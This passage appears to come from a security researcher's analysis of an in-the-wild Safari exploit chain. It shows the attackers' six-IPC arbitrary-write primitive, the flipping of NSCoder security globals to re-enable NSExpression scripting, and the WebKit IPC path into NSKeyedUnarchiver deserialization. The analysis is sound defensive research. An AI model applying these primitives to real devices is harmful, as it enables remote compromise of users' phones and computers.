<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>After each write they request a new </span><span class="YrefKOOkxY-c3">CDM</span><span> and look to see whether they got a resource ID near the sentinel value they set - if so then they've found a </span><span class="YrefKOOkxY-c3">RemoteBuffer</span><span class="YrefKOOkxY-c5"> whose virtual address they can completely control!</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">They store this id and use it to build their final arbitrary write primitive with 6 IPCs:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">arbitrary_write(u64 ptr, u64 value_ptr, u64 size) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteBuffer_MapAsync(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> remote_device_buffer_id_base + index_of_corruptor,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 0x4000LL, 0LL);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> wrap_remote_buffer_unmap(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> remote_device_buffer_id_base + index_of_corruptor,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> agxg15familybuffer_plus_0x80);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteDisplayListRecorder_SetCTM(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> candidate_corrupted_target_image_buffer_id,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ptr,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 0LL);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteDisplayListRecorder_FillRect(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> candidate_corrupted_target_image_buffer_id);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteBuffer_MapAsync(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> device_id_with_corrupted_backing_buffer_ptr, 0LL, 0LL);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteBuffer_Unmap(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> device_id_with_corrupted_backing_buffer_ptr, value_ptr, size);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The first </span><span class="YrefKOOkxY-c3">MapAsync</span><span>/</span><span class="YrefKOOkxY-c3">Unmap</span><span> corrupt the original </span><span class="YrefKOOkxY-c3">QueueSlab</span><span> to point the </span><span class="YrefKOOkxY-c3">buffer</span><span> pointer to </span><span class="YrefKOOkxY-c3">0x18</span><span> bytes below the address of the </span><span class="YrefKOOkxY-c3">virtualAddress</span><span> field of an </span><span class="YrefKOOkxY-c3">AGXG15FamilyBuffer</span><span class="YrefKOOkxY-c5">.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">SetCTM</span><span> and </span><span class="YrefKOOkxY-c3">FillRect</span><span> then cause the arbitrary write target pointer value to be written through the corrupted </span><span class="YrefKOOkxY-c3">QueueSlab</span><span> allocation to replace the </span><span class="YrefKOOkxY-c3">AGXG15FamilyBuffer</span><span>'s </span><span class="YrefKOOkxY-c3">virtualAddress</span><span class="YrefKOOkxY-c5"> member.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The final </span><span class="YrefKOOkxY-c3">MapAsync</span><span>/</span><span class="YrefKOOkxY-c3">Unmap</span><span> pair then write through that corrupted </span><span class="YrefKOOkxY-c3">virtualAddress</span><span class="YrefKOOkxY-c5"> field, yielding an arbitrary write primitive which won't corrupt any surrounding memory.</span></p><h3 class="YrefKOOkxY-c6" id="h.70md50ilftai"><span class="YrefKOOkxY-c10">Mitigating mitigations</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">At this point the attackers have an arbitrary read/write primitive - it's surely game over. But never-the-less, the most fascinating parts of this exploit are still to come.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Remember, they are seeking not just to exploit this vulnerability; they are really seeking to minimize the overall cost of successfully exploiting as many full exploit chains as possible with the lowest marginal cost. This is typically done using custom frameworks which permit code-reuse across exploits. In this case the goal is to use some resources (IOKit userclients) which only the GPU Process has access to, but this is done in a very generic way using a custom framework requiring only a few arbitrary writes to kick off.</span><hr style="page-break-before:always;display:none;"></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p><h3 class="YrefKOOkxY-c6" id="h.j77a7tywbhuc"><span class="YrefKOOkxY-c10">What's old is new again - NSArchiver</span></h3>
<p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://googleprojectzero.blogspot.com/2022/03/forcedentry-sandbox-escape.html">FORCEDENTRY sandbox escape exploit</a></span><span> which I wrote about last year used a logic flaw to enable the evaluation of an </span><span class="YrefKOOkxY-c3">NSExpression</span><span> across a sandbox boundary. If you're unfamiliar with </span><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5"> exploitation I'd recommend reading that post first. </span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>As part of the fix for that issue </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://developer.apple.com/documentation/ios-ipados-release-notes/ios-ipados-15_1-release-notes">Apple introduced various hardening measures</a></span><span> intended to restrict both the computational power of </span><span class="YrefKOOkxY-c3">NSExpression</span><span>s as well as the particular avenue used to cause the evaluation of an </span><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5"> during object deserialization.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The functionality was never actually removed though. Instead, it was deprecated and gated behind various flags. This likely did lock down the attack surface from certain perspectives; but with a sufficiently powerful initial primitive (like an arbitrary read/write) those flags can simply be flipped and the full power of </span><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5">-based scripting can be regained. And that's exactly what this exploit continues on to do...</span></p><h3 class="YrefKOOkxY-c6" id="h.tjvrj1lxmfis"><span class="YrefKOOkxY-c10">Flipping bits</span></h3>
<p class="YrefKOOkxY-c2"><span>Using the arbitrary read/write they flip the globals used in places like </span><span class="YrefKOOkxY-c3">__NSCoderEnforceFirstPartySecurityRules</span><span class="YrefKOOkxY-c5"> to disable various security checks.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>They also swap around the implementation class of </span><span class="YrefKOOkxY-c3">NSSharedKeySet</span><span> to be </span><span class="YrefKOOkxY-c3">PrototypeTools::_OBJC_CLASS___PTModule</span><span> and swap the </span><span class="YrefKOOkxY-c3">NSKeyPathSpecifierExpression</span><span> and </span><span class="YrefKOOkxY-c3">NSFunctionExpression</span><span> </span><span class="YrefKOOkxY-c3">classRef</span><span class="YrefKOOkxY-c5">s to point to each other.</span></p><h3 class="YrefKOOkxY-c6" id="h.5t3cg9cgeeq2"><span class="YrefKOOkxY-c10">Forcing Entry</span></h3>
<p class="YrefKOOkxY-c2"><span>We've seen throughout this writeup that Safari has its own IPC mechanism with custom serialization - it's not using XPC or MIG or protobuf or Mojo or any of the dozens of other serialization options. But is it the case that </span><span class="YrefKOOkxY-c14">everything</span><span class="YrefKOOkxY-c5"> gets serialized with their custom code?</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>As we observed in the ForcedEntry writeup, it's often just one tiny, innocuous line of code which ends up opening up an enormous extra attack surface. In ForcedEntry it was a seemingly simple attempt to edit the loop count of a GIF. Here, there's another simple piece of code which opens up a potentially unexpected huge extra attack surface: NSKeyedArchiver. It turns out, you </span><span class="YrefKOOkxY-c14">can</span><span class="YrefKOOkxY-c5"> get NSKeyedArchiver objects serialized and deserialized across a Safari IPC boundary, specifically using this IPC:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> RedirectReceived(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> WebKit::RemoteMediaResourceIdentifier identifier, </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> WebCore::ResourceRequest request,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> WebCore::ResourceResponse response)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> -> </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> (WebCore::ResourceRequest returnRequest)</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This IPC takes two arguments:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">WebCore::ResourceRequest request</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">WebCore::ResourceResponse response</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Let's look at the </span><span class="YrefKOOkxY-c3">ResourceRequest</span><span class="YrefKOOkxY-c5"> deserialization code:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">bool</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">ArgumentCoder<ResourceRequest>::decode(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> Decoder& decoder,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ResourceRequest& resourceRequest)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> bool hasPlatformData;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!decoder.decode(hasPlatformData))</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return false;</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> bool decodeSuccess = </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hasPlatformData ?</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> decodePlatformData(decoder, resourceRequest)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> :</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3"> resourceRequest.decodeWithoutPlatformData(decoder);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">That in turn calls:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">bool</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">ArgumentCoder<WebCore::ResourceRequest>::decodePlatformData(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> Decoder& decoder,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> WebCore::ResourceRequest& resourceRequest)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> bool requestIsPresent;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!decoder.decode(requestIsPresent))</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return false;</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!requestIsPresent) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> resourceRequest = WebCore::ResourceRequest();</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return true;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> auto request = IPC::decode<NSURLRequest>(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> decoder, NSURLRequest.class);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>That last line decoding request looks slightly different to the others - rather than calling </span><span class="YrefKOOkxY-c3">decoder.decoder()</span><span class="YrefKOOkxY-c5"> passing the field to decode by reference they're explicitly typing the field here in the template invocation, which takes a different decoder path:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">​​template<typename T, typename></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">std::optional<RetainPtr<T>> decode(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> Decoder& decoder, Class allowedClass)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decode<T>(decoder, allowedClass ? </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> @[ allowedClass ] : @[ ]);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>(note the </span><span class="YrefKOOkxY-c3">@[]</span><span class="YrefKOOkxY-c5"> syntax defines an Objective-C array literal so this is creating an array with a single entry)</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This then calls:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">template<typename T, typename></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">std::optional<RetainPtr<T>> decode(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> Decoder& decoder, NSArray<Class> *allowedClasses)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> auto result = decodeObject(decoder, allowedClasses);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!result)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return std::nullopt;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ASSERT(!*result ||</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> isObjectClassAllowed((*result).get(), allowedClasses));</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return { *result };</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This continues on to a different argument decoder implementation than the one we've seen so far:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">std::optional<RetainPtr<id>></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">decodeObject(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> Decoder& decoder,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSArray<Class> *allowedClasses)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> bool isNull;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!decoder.decode(isNull))</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return std::nullopt;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (isNull)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return { nullptr };</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSType type;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!decoder.decode(type))</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return std::nullopt;</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">In this case, rather than knowing the type to decode upfront they decode a type dword from the message and choose a deserializer not based on what type they expect, but what type the message claims to contain:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">switch (type) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::Array:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decodeArrayInternal(decoder, allowedClasses);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::Color:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decodeColorInternal(decoder);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::Dictionary:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decodeDictionaryInternal(decoder, allowedClasses);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::Font:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decodeFontInternal(decoder);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::Number:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decodeNumberInternal(decoder);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3"> </span><span class="YrefKOOkxY-c13">case NSType::SecureCoding:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c13"> return decodeSecureCodingInternal(decoder, allowedClasses);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::String:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decodeStringInternal(decoder);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::Date:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decodeDateInternal(decoder);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::Data:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decodeDataInternal(decoder);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::URL:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decodeURLInternal(decoder);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::CF:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return decodeCFInternal(decoder);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case NSType::Unknown:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> break;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2"><span><br>In this case they choose type </span><span class="YrefKOOkxY-c3">7</span><span>, which corresponds to </span><span class="YrefKOOkxY-c3">NSType::SecureCoding</span><span>, decoded by calling </span><span class="YrefKOOkxY-c3">decodeSecureCodingInternal</span><span> which allocates an </span><span class="YrefKOOkxY-c3">NSKeyedUnarchiver</span><span class="YrefKOOkxY-c5"> initialized with data from the IPC message:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">auto unarchiver =</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> adoptNS([[NSKeyedUnarchiver alloc]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> initForReadingFromData:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> bridge_cast(data.get()) error:nullptr]);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The code adds a few more classes to the allow-list to be decoded:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">auto allowedClassSet =</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> adoptNS([[NSMutableSet alloc] initWithArray:allowedClasses]);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[allowedClassSet addObject:WKSecureCodingURLWrapper.class];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[allowedClassSet addObject:WKSecureCodingCGColorWrapper.class];</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">if ([allowedClasses containsObject:NSAttributedString.class]) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [allowedClassSet</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> unionSet:NSAttributedString.allowedSecureCodingClasses];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">then unarchives the object:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">id result =</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [unarchiver decodeObjectOfClasses:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> allowedClassSet.get() </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> forKey:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> NSKeyedArchiveRootObjectKey];</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The serialized root object sent by the attackers is a </span><span class="YrefKOOkxY-c3">WKSecureCodingURLWrapper</span><span>. Deserialization of this is allowed because it was explicitly added to the allow-list above. Here's the </span><span class="YrefKOOkxY-c3">WKSecureCodingURLWrapper::initWithCoder</span><span class="YrefKOOkxY-c5"> implementation:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">- (instancetype)initWithCoder:(NSCoder *)coder</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> auto selfPtr = adoptNS([super initWithString:@""]);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!selfPtr)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return nil;</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> BOOL hasBaseURL;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [coder decodeValueOfObjCType:"c"</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> at:&hasBaseURL</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> size:sizeof(hasBaseURL)];</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> RetainPtr<NSURL> baseURL;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (hasBaseURL)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> baseURL =</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> (NSURL *)[coder decodeObjectOfClass:NSURL.class </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> forKey:baseURLKey];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>This in turn decodes an </span><span class="YrefKOOkxY-c3">NSURL</span><span>, which decodes an </span><span class="YrefKOOkxY-c3">NSString</span><span> member named "</span><span class="YrefKOOkxY-c3">NS.relative</span><span>". The attacker object passes a subclass of </span><span class="YrefKOOkxY-c3">NSString</span><span> which is </span><span class="YrefKOOkxY-c3">_NSLocalizedString</span><span class="YrefKOOkxY-c5"> which sets up the following allow-list:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v10 = objc_opt_class_385(&OBJC_CLASS___NSDictionary);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v11 = objc_opt_class_385(&OBJC_CLASS___NSArray);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v12 = objc_opt_class_385(&OBJC_CLASS___NSNumber);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v13 = objc_opt_class_385(&OBJC_CLASS___NSString);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v14 = objc_opt_class_385(&OBJC_CLASS___NSDate);</span></p>
